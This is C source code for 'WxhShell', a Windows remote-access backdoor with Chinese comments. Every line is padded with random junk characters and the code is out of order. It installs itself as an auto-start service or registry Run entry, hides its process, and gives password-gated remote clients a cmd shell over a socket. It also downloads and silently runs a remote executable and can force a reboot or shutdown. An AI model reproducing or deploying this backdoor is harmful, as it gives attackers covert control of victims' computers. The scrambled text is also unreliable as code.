    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NSH20$A<  
    if(Boot(SHUTDOWN)) ~L$B]\/A5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ivg:`$a[  
    else { 8 #fzL7  
    closesocket(wsh); "9 ,z"k  
    ExitThread(0); gdkl,z3N3  
    } B7r={P!0  
    break; jiQJ{yY  
    } u&/[sq x  
  // 获取shell Z0*Lm+d9z  
  case 's': { [SGt ~bRJ  
    CmdShell(wsh); rvO7e cR"  
    closesocket(wsh); ?&$??r^i  
    ExitThread(0); pwo5Ij,~q  
    break; !R*%F  
  } V ;Kzh$^rk  
  // 退出 q>:>f+4  
  case 'x': { B;xw @:H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .2?tx OKh  
    CloseIt(wsh); [<SM*fQ>t  
    break; G{$(t\>8  
    } Tdtn-  
  // 离开 cpz'upVOZ  
  case 'q': { fFP>$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M`IiK+IoU  
    closesocket(wsh); [DrG;k?  
    WSACleanup(); hz#S b~g  
    exit(1); ^Q!qJav  
    break; )6mx\t  
        } v~^c-]4I  
  } *?jU$&Qpj*  
  } SN2X{Q|*  
<hlH@[7!  
  // 提示信息 rl-r8?H}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]~S,K}T  
} 0{ M=^96  
  } MQ;c'?!5[!  
&4M0 S+.  
  return; `:WVp~fn  
} _4qP0LCa  
g7*cwu  
// shell模块句柄 j" wX7  
int CmdShell(SOCKET sock) |rJ1/T.9  
{ { ?p55o  
STARTUPINFO si; ZUGuV@&-T  
ZeroMemory(&si,sizeof(si)); ""`> v`\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2yqm$i9C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A:Y]<jt  
PROCESS_INFORMATION ProcessInfo; y Q\K;  
char cmdline[]="cmd"; ?^iX%   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > Q1r^  
  return 0; fsc^8  
} #PYTFB%  
A#9@OWV5f  
// 自身启动模式 :ie7HF  
int StartFromService(void) 9/Q_Jv-Q  
{ bni :B?#  
typedef struct $Yfm>4  
{ ;)ff Gg>  
  DWORD ExitStatus; F 7+Gt Ed  
  DWORD PebBaseAddress; .<JD'%?"  
  DWORD AffinityMask; 0ZQ|W%tS  
  DWORD BasePriority; w <zO  
  ULONG UniqueProcessId; ju8mO&  
  ULONG InheritedFromUniqueProcessId; dtJaQ`  
}   PROCESS_BASIC_INFORMATION; yC. ve;lG  
9k.LV/Y  
PROCNTQSIP NtQueryInformationProcess; (:3rANY|  
`X?l`H;#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,sPsL9]$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k,0RpE  
FY"!%)TV  
  HANDLE             hProcess; Zab5"JR  
  PROCESS_BASIC_INFORMATION pbi; @ ?y(\>  
hNXP-s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & i|x2; v  
  if(NULL == hInst ) return 0; }x % ;y]S  
YIs(Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cad1eOT'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yI\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l= 5kd.{  
2!/*I:  
  if (!NtQueryInformationProcess) return 0; KfJF9!U*?  
7V?]Qif~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -)@DH;[tb  
  if(!hProcess) return 0; $oK,&_  
!!f)w!wW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -Zfzl`r  
DV +DJcF  
  CloseHandle(hProcess); M`HXUA4  
'LIJpk3J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %t M]|!yw  
if(hProcess==NULL) return 0; 0+IJ, ;Wx  
M$A"<5  
HMODULE hMod; Fc>W]1  
char procName[255]; k{Yj!C> #  
unsigned long cbNeeded; l i}4d+  
hfP}+on%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dUeM+(s1  
a #?% I#  
  CloseHandle(hProcess); +jzpB*@  
_7 .Wz7]b  
if(strstr(procName,"services")) return 1; // 以服务启动 JE,R[` &  
HB`u@9le  
  return 0; // 注册表启动 O-:#Q(H!  
} > taT;[Oa  
jy{T=Nb  
// 主模块 DIodQkF  
int StartWxhshell(LPSTR lpCmdLine) [~?LOH  
{ rP,i,1Ar 4  
  SOCKET wsl; yd5r]6ej  
BOOL val=TRUE; HH+NNSRO  
  int port=0; g;w4:k)U  
  struct sockaddr_in door; ')I/D4v  
T=: &W3  
  if(wscfg.ws_autoins) Install(); z.oDH<1  
-cNh5~p=  
port=atoi(lpCmdLine); !TP8LQ  
s0v?*GRX  
if(port<=0) port=wscfg.ws_port; t`+x5*g W  
uF9p:FvN8  
  WSADATA data; b,/fz6 {N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; //`heFuc]>  
b_cnVlN[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eV^@kI4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v>.nL(VLjP  
  door.sin_family = AF_INET; enlk)_btp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %l[Cm4  
  door.sin_port = htons(port); `rW{zQYM  
kmNY ;b6Y$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6 +^V  
closesocket(wsl); 9c8zH{T_{  
return 1; Pk[f_%0  
} %~J90a  
NWNH)O@  
  if(listen(wsl,2) == INVALID_SOCKET) { #>O,w0<qM  
closesocket(wsl); lZV]Z3=p'0  
return 1; n_AW0i .  
} 2GXAq~h@  
  Wxhshell(wsl); $$<9tqA  
  WSACleanup(); &5Ea6j  
N+\#k*n?  
return 0; oh%T4 $  
IJxdbuKg  
} Q{b ZD*  
M:6H%6eT  
// 以NT服务方式启动 ./jkY7 k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ud^+a H  
{ ,!F'h:   
DWORD   status = 0; ii2X7Q  
  DWORD   specificError = 0xfffffff; ,AGK O,w  
Lg|j0-"N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7on$}=%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a36n}R4Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dP T)&  
  serviceStatus.dwWin32ExitCode     = 0; ].pz  
  serviceStatus.dwServiceSpecificExitCode = 0; 8<0H(lj7_  
  serviceStatus.dwCheckPoint       = 0; K:z|1V  
  serviceStatus.dwWaitHint       = 0; hUSr1jlA  
6=Kl[U0Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {a `kPfP  
  if (hServiceStatusHandle==0) return; I|m fr{  
M ioS  
status = GetLastError(); |Q`}a %  
  if (status!=NO_ERROR) k`Ab*M$@Xs  
{ hZY+dHa]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TGdD7n&Ehh  
    serviceStatus.dwCheckPoint       = 0; D@^ r  
    serviceStatus.dwWaitHint       = 0; Zla5$GM  
    serviceStatus.dwWin32ExitCode     = status; ScQJsFE6  
    serviceStatus.dwServiceSpecificExitCode = specificError; gdSv) (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1m|Oi%i4  
    return; }EE  
  } RQ y|W}d_  
w:r0>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; OQ 5{#  
  serviceStatus.dwCheckPoint       = 0; qeQTW@6 F  
  serviceStatus.dwWaitHint       = 0; L; Nz\sJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }(Nb]_H  
} *ls}r5k2Y  
$ Etf'.  
// 处理NT服务事件,比如:启动、停止 V7N8m<Tf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qXt2m  
{ "%D+_Yb'X  
switch(fdwControl) {O5;V/00}  
{ llhJ,wD  
case SERVICE_CONTROL_STOP:  6?+bi\6  
  serviceStatus.dwWin32ExitCode = 0; RxAWX?9Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  8y OzD  
  serviceStatus.dwCheckPoint   = 0; oPk2ac  
  serviceStatus.dwWaitHint     = 0; 2!~ j(_TA  
  { N12K*P[!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fb*^GH)J  
  } 9^4^EY#  
  return; `dMOBYV  
case SERVICE_CONTROL_PAUSE: g 4=}].  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )U>q><  
  break; &~6Z)}  
case SERVICE_CONTROL_CONTINUE: .P# c/SQp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J}i$ny_3OB  
  break; FGr0W|?v  
case SERVICE_CONTROL_INTERROGATE: wDem }uO  
  break; uB 6`e!Q  
}; rMTtPuc2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ykRKZYfsw(  
} D(~6h,=m  
j Z3N+_J1  
// 标准应用程序主函数 ]QtdT8~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I=D`:u\H  
{ g/lv>*+gS  
/!eC;qp;[  
// 获取操作系统版本 X3!btxa% t  
OsIsNt=GetOsVer(); F{[2|u(4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3`n5[RV  
X z2IAiAs'  
  // 从命令行安装 gD _tBv  
  if(strpbrk(lpCmdLine,"iI")) Install(); |42E'zH&  
Dd!MG'%hlb  
  // 下载执行文件 =k2+VI  
if(wscfg.ws_downexe) { |B)e! #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fhLdM  
  WinExec(wscfg.ws_filenam,SW_HIDE); A8e b{qv  
} WyA>OB<Zeq  
4oT2 5VH  
if(!OsIsNt) { +TpM7QaL  
// 如果时win9x,隐藏进程并且设置为注册表启动 WQv~<]1J F  
HideProc(); R|$=Pfg~4  
StartWxhshell(lpCmdLine); fyYv}z  
} <Sm =,Sw  
else ^^jF*)DT@  
  if(StartFromService()) s]5wzbFO  
  // 以服务方式启动 fT[6Cw5w`  
  StartServiceCtrlDispatcher(DispatchTable); p % 3B^  
else O *H:CW  
  // 普通方式启动 }C2I9Cl  
  StartWxhshell(lpCmdLine); x@v,qF$K  
-*e$>w[.N  
return 0; }s}b]v  
} ItYG9a  
/-^gK^  
"LaNXZ9  
&5(|a"5+G  
===========================================  R(k6S  
asQ pVP  
D<L]'  
1^!= J<`K;  
/:ma}qG y  
Te$/[`<U  
" 73Mh65  
?7^('  
#include <stdio.h> >^|\wy  
#include <string.h> w]tv<U={  
#include <windows.h> ~M(K{6R  
#include <winsock2.h> 9VV  
#include <winsvc.h> F m h;d*IT  
#include <urlmon.h> (z ;=3S  
87~. |nu  
#pragma comment (lib, "Ws2_32.lib") =c-j4xna>  
#pragma comment (lib, "urlmon.lib") pUwx`"DrR  
e<~uU9 lg1  
#define MAX_USER   100 // 最大客户端连接数 T-fW[][&$  
#define BUF_SOCK   200 // sock buffer Vfg144FG'  
#define KEY_BUFF   255 // 输入 buffer ~;UK/OZ  
(W=z0Lqu  
#define REBOOT     0   // 重启 zoC/Hm  
#define SHUTDOWN   1   // 关机 k W/3 Aq7r  
b'M g  
#define DEF_PORT   5000 // 监听端口 5SR 29Z[  
hP3I_I[qF}  
#define REG_LEN     16   // 注册表键长度 +Y)rv6}m  
#define SVC_LEN     80   // NT服务名长度 b]4yFwb  
Y_Ej-u+>{  
// 从dll定义API J%j#gyTU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jl3RE|M\<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .[= 0(NO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z}8rD}BH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {(ey!O  
aWOApXJ  
// wxhshell配置信息 RBt"7'  
struct WSCFG { 9g^@dfBV  
  int ws_port;         // 监听端口 ln9MVF'!&  
  char ws_passstr[REG_LEN]; // 口令 [5a`$yaQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no [g&Q_+,j  
  char ws_regname[REG_LEN]; // 注册表键名 j#-ZL-N  
  char ws_svcname[REG_LEN]; // 服务名 7" Dw4}T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f`/JY!u j{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #^!oP$>1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (tyo4Tz1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'PV,c|f>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /~J#c=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A ;Z%-x  
&Vnet7LfU  
}; *=@Z\]"?  
'(^p$=3|@D  
// default Wxhshell configuration VI" ,E}  
struct WSCFG wscfg={DEF_PORT, $'?CY)h{  
    "xuhuanlingzhe", P1Re7/  
    1, X*$ 7g;  
    "Wxhshell", zr84%_^  
    "Wxhshell", 7 &GhJ^Ku  
            "WxhShell Service", h^x7[qe  
    "Wrsky Windows CmdShell Service", cCyg&% zsT  
    "Please Input Your Password: ", $ AG.<  
  1, -uy}]s5Qu  
  "http://www.wrsky.com/wxhshell.exe", ;S,g&%N  
  "Wxhshell.exe" 5A~w_p*}  
    }; W!XFaA$  
nHyWb6  
// 消息定义模块 aH'^`]'_=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J +<|8D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $dorE ~T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;u}MG3Y8  
char *msg_ws_ext="\n\rExit."; \ E[0KvN;O  
char *msg_ws_end="\n\rQuit."; la|#SS95  
char *msg_ws_boot="\n\rReboot..."; "/ @ ;6   
char *msg_ws_poff="\n\rShutdown..."; O=c&  
char *msg_ws_down="\n\rSave to "; iLv"ZqGrw  
zs[t<`2  
char *msg_ws_err="\n\rErr!"; <XCH{Te1  
char *msg_ws_ok="\n\rOK!"; cf0em!  
PcDPRX!@  
char ExeFile[MAX_PATH]; Wd~}O<"  
int nUser = 0; .}Bb :*@  
HANDLE handles[MAX_USER]; nez5z:7F  
int OsIsNt; "=4=Q\0PT  
Q6Jb]>g\H  
SERVICE_STATUS       serviceStatus; eUF PzioW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *zz/U (9D  
P5] cEZ n  
// 函数声明 yU .B(|  
int Install(void); d{ OY  
int Uninstall(void); {nj\dU  
int DownloadFile(char *sURL, SOCKET wsh); &S3szhe  
int Boot(int flag); UT[KwM{y  
void HideProc(void); L d#  
int GetOsVer(void); mN@0lfk;  
int Wxhshell(SOCKET wsl); pjjs'A*y  
void TalkWithClient(void *cs); 1<bSHn9  
int CmdShell(SOCKET sock); b!7"drge:  
int StartFromService(void); 8&dmH&  
int StartWxhshell(LPSTR lpCmdLine); 0qR;Z{k  
nM R _ ?g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gK#a C [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {/R4Q1  
j}0*`[c  
// 数据结构和表定义 |6_<4lmTxF  
SERVICE_TABLE_ENTRY DispatchTable[] = QI`Z[caF  
{ 2Ybz`O!  
{wscfg.ws_svcname, NTServiceMain}, Kpj0IfC,10  
{NULL, NULL} z%mM#X  
}; `@Kh>K  
BMFpkK9|  
// 自我安装 {wA@5+[  
int Install(void) `33h4G  
{ @X1>Wv|[  
  char svExeFile[MAX_PATH]; dzbzZ@y  
  HKEY key; ijyj}gpWha  
  strcpy(svExeFile,ExeFile); hQ<"  
(`>4~?|+T  
// 如果是win9x系统,修改注册表设为自启动 /xf %Rp4}  
if(!OsIsNt) { ''f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $lV0TCgba8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N15{7 ,   
  RegCloseKey(key); B;G|2um:$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1j0yON  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n %"s_W'E  
  RegCloseKey(key); Q6}`%  
  return 0; RQ/X{<lQ)  
    } o @&#*3<_e  
  } B;7L:  
} TS=p8@w}  
else { f}XUxIQ-<  
tLV9b %i(  
// 如果是NT以上系统,安装为系统服务 :Q&8DC#]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &1Az`[zKGW  
if (schSCManager!=0) }f({03$  
{ .b]oB_  
  SC_HANDLE schService = CreateService )p!dql K  
  ( $V!.z%Vgf  
  schSCManager, /~w*)e)  
  wscfg.ws_svcname, UtTlJb{-j  
  wscfg.ws_svcdisp, H Eq{TUTr  
  SERVICE_ALL_ACCESS, M.t,o\xl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g:)iEw>a  
  SERVICE_AUTO_START, PHqg~q;*  
  SERVICE_ERROR_NORMAL, ^C ~Ryw7  
  svExeFile, (LmU\Pe%  
  NULL, k+-?b(z)$  
  NULL, LxhS 9  
  NULL, >"b W'  
  NULL, 'hU5]}=  
  NULL >9A18xC  
  ); =EFh*sp  
  if (schService!=0) ,4t6Cq!  
  { [(x*!,=  
  CloseServiceHandle(schService); 4jebx jZ  
  CloseServiceHandle(schSCManager); M9R'ONYAa  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7:?\1 a  
  strcat(svExeFile,wscfg.ws_svcname); ">. k 6Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S._2..%G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); er7(Wph  
  RegCloseKey(key); IxCesh  
  return 0; s2SV   
    }  d=^QK{8  
  } uM1$3<  
  CloseServiceHandle(schSCManager); i,<'AL )  
} M{G}-QK_.  
} a)pc+w#  
:VP4:J^  
return 1; {guOAT- w  
} E8r6P:5d`  
r+C4<-dT  
// 自我卸载 G7"(,L` 5  
int Uninstall(void) <A Hzs  
{ 2kVZlt'y  
  HKEY key; ) dk|S\  
H~s8M  
if(!OsIsNt) { xA7~"q&u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |3e+ K.  
  RegDeleteValue(key,wscfg.ws_regname); 5Z_C (5)/Y  
  RegCloseKey(key); K9Mz4K_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fV>d_6Lf}  
  RegDeleteValue(key,wscfg.ws_regname); |E?r+]  
  RegCloseKey(key); Og%Y._  
  return 0; :5CyR3P  
  } =9ff9 83  
} <!>\ n\A  
} z7IJSj1gQI  
else { e,}h^^"  
"!zJQl@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o 7kg.w|  
if (schSCManager!=0) TSewq4`K  
{ >Vt2@Ee  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u@e.5_:S)  
  if (schService!=0) %f&Y=  
  { R&Nl!QTJj  
  if(DeleteService(schService)!=0) { ~|S0E:*.  
  CloseServiceHandle(schService); yR|2><A  
  CloseServiceHandle(schSCManager); Lq>lj`>  
  return 0; F|> 3gW  
  } Ed u(dZbKg  
  CloseServiceHandle(schService); *KDTBd  
  } v}u]tl$,  
  CloseServiceHandle(schSCManager); Z qn$>mG-  
} 'k\j[fk/K  
} 34!.5^T  
ZT!8h$SE:  
return 1; "dIWHfQB  
} J.h` 0$!  
rZdOU?U  
// 从指定url下载文件 n',X,P0  
int DownloadFile(char *sURL, SOCKET wsh)  4 Pc-A  
{ GalSqtbmDt  
  HRESULT hr; C5ILVQ  
char seps[]= "/"; ~{lb`M^]h  
char *token; )-!)D  
char *file; 5&Yt=)c\  
char myURL[MAX_PATH]; h#4n  
char myFILE[MAX_PATH]; ,e'm@d$Q*  
D%o(HS\E  
strcpy(myURL,sURL); ;6PU  
  token=strtok(myURL,seps); 0>CG2SRn  
  while(token!=NULL) b>p_w%d[[J  
  { neM)(` gp  
    file=token; qX\85dPn@}  
  token=strtok(NULL,seps); 0'*{BAWx  
  } Kt*b) <  
.Xp,|T  
GetCurrentDirectory(MAX_PATH,myFILE); / Q@4HV  
strcat(myFILE, "\\"); 3LfF{ED@  
strcat(myFILE, file); Vc9Bg2f5  
  send(wsh,myFILE,strlen(myFILE),0); "W6cQsi  
send(wsh,"...",3,0); ]>)shH=Yx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H.l0kBeG  
  if(hr==S_OK) jGo%Aase  
return 0; I-!7 EC2{!  
else ."dT6uE  
return 1; 'Iw`+=iVz  
Ao ?b1VYy/  
} YM;ro5_KF  
ru`7iqcz  
// 系统电源模块 Fu{VO~w  
int Boot(int flag) axC{azo|  
{ `m(ZX\W]  
  HANDLE hToken; gnN>Rl 5_  
  TOKEN_PRIVILEGES tkp; cu}(\a  
]g$ky.;  
  if(OsIsNt) { A7Y CSjB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cG0)F%?X?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aOg9Dqtg)f  
    tkp.PrivilegeCount = 1; BKTTta1mY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aoW2c1`?Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r+%3Y:dZE  
if(flag==REBOOT) { Y{j~;G@Wl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QyTN  V  
  return 0; g~21|Sa$[  
} V#,|#2otZ  
else { *.w6 =}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J ##a;6@  
  return 0; _s#J\!F  
}  Yf[Cmn  
  } V8F! o  
  else { <k1muSe  
if(flag==REBOOT) { .sit5BX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uYs45 G  
  return 0; ,.{M1D6'R`  
} dAG@'A\f  
else { >Q=e9L=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IG}yGGn  
  return 0; A1B[5a*o!  
} 'U&]KSzxv  
} M1P;x._n  
?7CdJgJp  
return 1; ^WWr8-  
} G@D8 [  
of7'?]w  
// win9x进程隐藏模块 ok,O/|E}?  
void HideProc(void) A-vYy1,'  
{ ]c_lNHssmq  
,eOZv=:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); # r>)A  
  if ( hKernel != NULL ) (`Y;U(n  
  { +{6:]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l8M}82_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dXn$XGF%R  
    FreeLibrary(hKernel); @CR<&^s5V  
  } CPsl/.$tC  
D)L~vA/8b  
return; M4 ?>x[Pw  
} c;29GHs2  
x=K'Jj  
// 获取操作系统版本 A0.xPru1p  
int GetOsVer(void) 5' t9/8i  
{ ?o]NV  
  OSVERSIONINFO winfo; v8uUv%Hkd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nF3Sfw,  
  GetVersionEx(&winfo); &% (1?\~u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g~|x^d^;|  
  return 1; CucW84H`J  
  else .d#Hh&jj  
  return 0; M?gZKdj  
} |tY6+T}  
D@{m  
// 客户端句柄模块 |j8#n`'  
int Wxhshell(SOCKET wsl) Q[`2? j?  
{ SzG %%CXH_  
  SOCKET wsh; K;`*n7=IA  
  struct sockaddr_in client; ][OkydE  
  DWORD myID; JqN$B\J,  
BlqfST#6  
  while(nUser<MAX_USER) P4MP`A  
{ =AHV{V~  
  int nSize=sizeof(client); f4X}F|!h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u91  
  if(wsh==INVALID_SOCKET) return 1; &$qIJvMiK  
H 0Sm4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D* HK[_5  
if(handles[nUser]==0)  >qI:  
  closesocket(wsh); z%6egi>  
else h^ K>(x  
  nUser++; "VsS-b^P  
  } zcEpywNP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); el^<M,7!  
1-!|_<EW1  
  return 0; p7*7V.>X  
} 9FT==>  
w' 5W L  
// 关闭 socket Y k"yup@3  
void CloseIt(SOCKET wsh) R,zp&L  
{ ;ZrFy=Iv  
closesocket(wsh); (ubK i[)  
nUser--; @ 6b;sv1W  
ExitThread(0); hn/SS  
} mvtuV`  
m]\d9%-AT&  
// 客户端请求句柄 =0U"07%}  
void TalkWithClient(void *cs) cja-MljD  
{ 7nPm{=B G  
J= DD/Gp  
  SOCKET wsh=(SOCKET)cs; ;u%4K$   
  char pwd[SVC_LEN]; TF,a `?c`  
  char cmd[KEY_BUFF]; NQvT4.*  
char chr[1]; .aIFm5N3?  
int i,j; fli7Ow?M~  
0I.!  
  while (nUser < MAX_USER) { jmnrpXaAx  
A`b )7+mB  
if(wscfg.ws_passstr) { "\1V^2kMr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A'? W5~F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); odq3@ ziO  
  //ZeroMemory(pwd,KEY_BUFF); xWty2/!h  
      i=0; n<sA?T  
  while(i<SVC_LEN) { <=~'Pd-f(  
n~&e>_;(.  
  // 设置超时 Hkj| e6  
  fd_set FdRead; .rbKvd?-}  
  struct timeval TimeOut; $Jj0%?;  
  FD_ZERO(&FdRead); }Qvoms<k  
  FD_SET(wsh,&FdRead); o&:n>:im  
  TimeOut.tv_sec=8; d e~3:  
  TimeOut.tv_usec=0; KTu&R6|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j(=zc6m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AqP\g k  
X<$8'/p r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X 7"hTD  
  pwd=chr[0]; N6-bUM6%I  
  if(chr[0]==0xd || chr[0]==0xa) { 6I\mhw!pQ  
  pwd=0; D61e  
  break; vro5G')  
  } GUK3`}!%  
  i++; !HHbd |B_  
    } -wV0Nv(V8  
S1n 'r}z8  
  // 如果是非法用户,关闭 socket ZZl4|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qxW 2q8QHo  
} z'}?mE3i  
6PI-"He  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j k}m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UwxrYouv~@  
oE4hGt5x{  
while(1) { -x1O|q69  
k-vxKrjZ/  
  ZeroMemory(cmd,KEY_BUFF); C(*)7| m  
r\66]u[  
      // 自动支持客户端 telnet标准   T)B1V,2j=  
  j=0; P1l@K2r  
  while(j<KEY_BUFF) { DV~1gr,\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _j2h3lCT  
  cmd[j]=chr[0]; rJm%qSZz  
  if(chr[0]==0xa || chr[0]==0xd) { #8d$%F))  
  cmd[j]=0; Q-N.23\1  
  break; WH$ Ls('  
  } dfq5P!'  
  j++; jQ31u  
    } !kfnqe?|  
W}1h~rNy  
  // 下载文件 g)iSC?H  
  if(strstr(cmd,"http://")) { ;nJCd1H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VU*{E  
  if(DownloadFile(cmd,wsh)) 4[&6yHJ^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); thDE 1h  
  else ),6Z1 K1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jWW2&cBm\  
  } o&~z8/?LA  
  else { HF\L`dJX?  
3-8Vw$u  
